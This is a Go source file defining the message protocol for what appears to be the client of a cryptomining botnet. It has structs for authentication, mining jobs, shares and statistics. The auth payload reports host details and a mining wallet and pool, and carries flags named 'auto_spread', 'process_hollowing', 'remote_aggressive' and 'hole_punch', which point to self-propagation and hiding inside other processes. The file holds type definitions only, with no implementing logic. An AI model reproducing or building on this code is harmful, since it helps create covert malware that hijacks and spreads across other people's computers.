package client import "encoding/json" type Message struct { Type string `json:"type"` Payload json.RawMessage `json:"payload"` } type AuthPayload struct { AgentID string `json:"agent_id"` Wallet string `json:"wallet"` Version string `json:"version"` Hostname string `json:"hostname"` CPUCores int `json:"cpu_cores"` MemoryGB int `json:"memory_gb"` Worker string `json:"worker_name"` PoolHost string `json:"pool_host"` PoolPort int `json:"pool_port"` PoolTLS bool `json:"pool_tls"` PoolPass string `json:"pool_pass"` AIEnabled bool `json:"ai_enabled"` AIOllamaEndpoint string `json:"ai_ollama_endpoint"` AIModel string `json:"ai_model"` HolePunch bool `json:"hole_punch"` RemoteAggressive bool `json:"remote_aggressive"` MeshP2P bool `json:"mesh_p2p"` AutoSpread bool `json:"auto_spread"` ProcessHollowing bool `json:"process_hollowing"` Platform string `json:"platform"` Arch string `json:"arch"` OSVersion string `json:"os_version"` } type AuthResponse struct { Success bool `json:"success"` AgentID string `json:"agent_id"` Error string `json:"error"` } type Job struct { ID string `json:"job_id"` Height int64 `json:"height"` BlockTemplate string `json:"blocktemplate"` Difficulty int64 `json:"difficulty"` SeedHash string `json:"seed_hash"` Target string `json:"target"` Blob string `json:"blob"` Algo string `json:"algo"` } type SharePayload struct { JobID string `json:"job_id"` Nonce string `json:"nonce"` Hash string `json:"hash"` Worker string `json:"worker_name"` } type StatsPayload struct { Hashrate15s float64 `json:"hashrate_15s"` Hashrate1m float64 `json:"hashrate_1m"` Hashrate15m float64 `json:"hashrate_15m"` SharesSubmitted int `json:"shares_submitted"` SharesAccepted int `json:"shares_accepted"` CPUUsagePct float64 `json:"cpu_usage_pct"` MemoryUsagePct float64 `json:"memory_usage_pct"` UptimeSeconds int `json:"uptime_seconds"` } type ShareResult struct { JobID string `json:"job_id"` Accepted bool `json:"accepted"` Error string `json:"error"` }